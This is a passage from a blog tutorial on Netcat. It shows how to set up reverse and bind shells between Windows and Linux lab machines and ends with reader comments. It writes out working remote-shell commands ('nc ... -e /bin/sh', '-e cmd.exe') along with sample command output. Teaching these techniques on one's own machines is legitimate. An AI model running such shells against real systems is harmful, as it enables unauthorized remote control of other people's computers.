
You can execute commands on the target machine using the reverse shell like this from the attack machine.

Attacker: Windows / Target: Linux

Now let’s execute code remotely from Windows on Linux.

First we again create a server on our attacking machine, which is the Windows machine in my case (use the port of your choice):

nc -vlp 4000
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000

And we’ll connect from the target machine (the Linux machine):

nc -v 192.168.100.16 4000 -e /bin/sh
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.100.16:4000.

You won’t see any prompt symbol, but now we should be able to execute commands from the Windows machine and onto the Linux machine.

whoami
ed

My user on the Linux machine is ed, so that’s correct.

hostname
nooblinux

We can execute many more commands but that is beyond the scope of this tutorial. I hope the above examples have given you an idea of what you can do.

Creating a Bind Shell with Netcat

Bind shell achieves the same purpose as the reverse shell. However, the process to create a bind shell is the opposite.

To create a bind shell, setup the target machine to listen on a port with shell access. As before, you will have to mention the appropriate command line interpreter. On Linux you can typically go with /bin/sh and on Windows with cmd.exe.

We won’t go into Linux->Windows, Windows->Linux scenarios such as we did for the reverse shell, but a simple example should give you a good idea of how to go about it both ways.

Set up a Linux target machine
nc -vlp 4000 -e /bin/sh
Set up a Windows target machine
nc -vlp 4000 -e cmd.exe
Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000

After that, you just have to connect to the target from the attack machine:

nc -v 192.168.145.131 4000
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.

Now you can execute commands from the attack machine. Remember, you may not see a prompt symbol, but you can execute commands normally.

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
whoami
ed
pwd
/home/ed
ls
file
file.log
file.log.save
file.txt
master_downloaded.zip
master_serve.zip

Conclusion

In this tutorial, we covered the fundamentals of the Netcat utility. We hoped that you liked it and that it was easy to read and understand. You can learn more about Ncat from the Ncat Users’ Guide on Nmap.org. If you have any problems feel free to leave a comment or contact us and we’ll get back to you as soon as possible.

Mahmud Hasan Saikot
Mahmud Hasan Saikot
Articles: 2
5 2 votes
Article Rating
Subscribe
Notify of
guest

4 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
Nalaka Rukshan
Nalaka Rukshan
1 year ago

Thankyou sir… This is very useful tutorial… I respect to you.. 👆👆👆👆

N00b Ed
Admin
1 year ago
Reply to  Nalaka Rukshan

Thank you! Glad to help!

Tim
Tim
1 year ago

Very good tutorial, thank you!

N00b Ed
Admin
1 year ago
Reply to  Tim

Thank you for commenting! We’re happy it was useful to you!